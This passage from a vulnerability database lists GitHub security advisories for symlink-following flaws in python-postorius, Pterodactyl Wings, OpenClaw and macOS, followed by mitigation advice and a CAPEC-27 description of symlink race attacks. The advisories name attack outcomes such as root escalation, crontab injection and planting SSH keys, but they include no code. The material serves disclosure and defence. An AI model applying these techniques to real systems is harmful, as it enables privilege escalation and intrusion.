"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25321"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1186240"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P6RM-7R2C-W38X
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-07-03 00:00a UNIX Symbolic Link (Symlink) Following vulnerability in python-postorius of openSUSE Leap 15.2, Factory allows local attackers to escalate from users postorius or postorius-admin to root. This issue affects: openSUSE Leap 15.2 python-postorius version 1.3.2-lp152.1.2 and prior versions. openSUSE Factory python-postorius version 1.3.4-2.1 and prior versions.
{
"affected": [],
"aliases": [
"CVE-2021-31997"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-10T12:15:00Z",
"severity": "HIGH"
},
"details": "a UNIX Symbolic Link (Symlink) Following vulnerability in python-postorius of openSUSE Leap 15.2, Factory allows local attackers to escalate from users postorius or postorius-admin to root. This issue affects: openSUSE Leap 15.2 python-postorius version 1.3.2-lp152.1.2 and prior versions. openSUSE Factory python-postorius version 1.3.4-2.1 and prior versions.",
"id": "GHSA-p6rm-7r2c-w38x",
"modified": "2022-07-03T00:00:23Z",
"published": "2022-05-24T19:04:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31997"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1182407"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P8R3-83R8-JWJ5
Vulnerability from github – Published: 2023-02-08 18:19 – Updated: 2023-02-08 22:40Impact
This vulnerability impacts anyone running the affected versions of Wings. The vulnerability can be used to create new files and on the host system that previously did not exist, potentially allowing attackers to change their resource allocations, promote their containers to privileged mode, or potentially add ssh authorized keys to allow the attacker access to a remote shell on the target machine.
In order to use this exploit, an attacker must have an existing "server" allocated and controlled by Wings. Information on how the exploitation of this vulnerability works will be released on February 24th, 2023 in North America.
Patches
This vulnerability has been resolved in version v1.11.3 of Wings, and has been back-ported to the 1.7 release series in v1.7.3.
Anyone running v1.11.x should upgrade to v1.11.3 and anyone running v1.7.x should upgrade to v1.7.3.
Workarounds
None at this time.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pterodactyl/wings"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pterodactyl/wings"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0"
},
{
"fixed": "1.11.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25152"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-08T18:19:56Z",
"nvd_published_at": "2023-02-08T19:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThis vulnerability impacts anyone running the affected versions of Wings. The vulnerability can be used to create new files and on the host system that previously did not exist, potentially allowing attackers to change their resource allocations, promote their containers to privileged mode, or potentially add ssh authorized keys to allow the attacker access to a remote shell on the target machine.\n\nIn order to use this exploit, an attacker must have an existing \"server\" allocated and controlled by Wings. Information on how the exploitation of this vulnerability works will be released on February 24th, 2023 in North America.\n\n### Patches\n\nThis vulnerability has been resolved in version `v1.11.3` of Wings, and has been back-ported to the 1.7 release series in `v1.7.3`.\n\nAnyone running `v1.11.x` should upgrade to `v1.11.3` and anyone running `v1.7.x` should upgrade to `v1.7.3`.\n\n### Workarounds\n\nNone at this time.",
"id": "GHSA-p8r3-83r8-jwj5",
"modified": "2023-02-08T22:40:37Z",
"published": "2023-02-08T18:19:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-p8r3-83r8-jwj5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25152"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/commit/dac9685298c3c1c49b3109fa4241aa88272b9f14"
},
{
"type": "PACKAGE",
"url": "https://github.com/pterodactyl/wings"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/releases/tag/v1.11.3"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/releases/tag/v1.7.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pterodactyl Wings contains UNIX Symbolic Link (Symlink) Following"
}
GHSA-PMF3-2Q63-JMP6
Vulnerability from github – Published: 2026-04-10 00:30 – Updated: 2026-04-18 00:42Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7xr2-q9vf-x4r5. This link is maintained to preserve external references.
Original Description
OpenClaw through 2026.2.22 contains a symlink traversal vulnerability in agents.create and agents.update handlers that use fs.appendFile on IDENTITY.md without symlink containment checks. Attackers with workspace access can plant symlinks to append attacker-controlled content to arbitrary files, enabling remote code execution via crontab injection or unauthorized access via SSH key manipulation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-18T00:42:18Z",
"nvd_published_at": "2026-04-09T22:16:32Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7xr2-q9vf-x4r5. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw through 2026.2.22 contains a symlink traversal vulnerability in agents.create and agents.update handlers that use fs.appendFile on IDENTITY.md without symlink containment checks. Attackers with workspace access can plant symlinks to append attacker-controlled content to arbitrary files, enabling remote code execution via crontab injection or unauthorized access via SSH key manipulation.",
"id": "GHSA-pmf3-2q63-jmp6",
"modified": "2026-04-18T00:42:18Z",
"published": "2026-04-10T00:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7xr2-q9vf-x4r5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35632"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-symlink-traversal-via-identity-md-appendfile-in-agents-create-update"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: Symlink Traversal via IDENTITY.md appendFile in agents.create/update (Incomplete Fix for CVE-2026-32013)",
"withdrawn": "2026-04-18T00:42:18Z"
}
GHSA-PMRV-FMW3-5H6P
Vulnerability from github – Published: 2024-07-30 00:34 – Updated: 2026-04-02 21:31This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sonoma 14.6. An app may be able to access protected user data.
{
"affected": [],
"aliases": [
"CVE-2024-27872"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-29T23:15:10Z",
"severity": "MODERATE"
},
"details": "This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sonoma 14.6. An app may be able to access protected user data.",
"id": "GHSA-pmrv-fmw3-5h6p",
"modified": "2026-04-02T21:31:47Z",
"published": "2024-07-30T00:34:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27872"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120911"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214119"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214119"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jul/18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.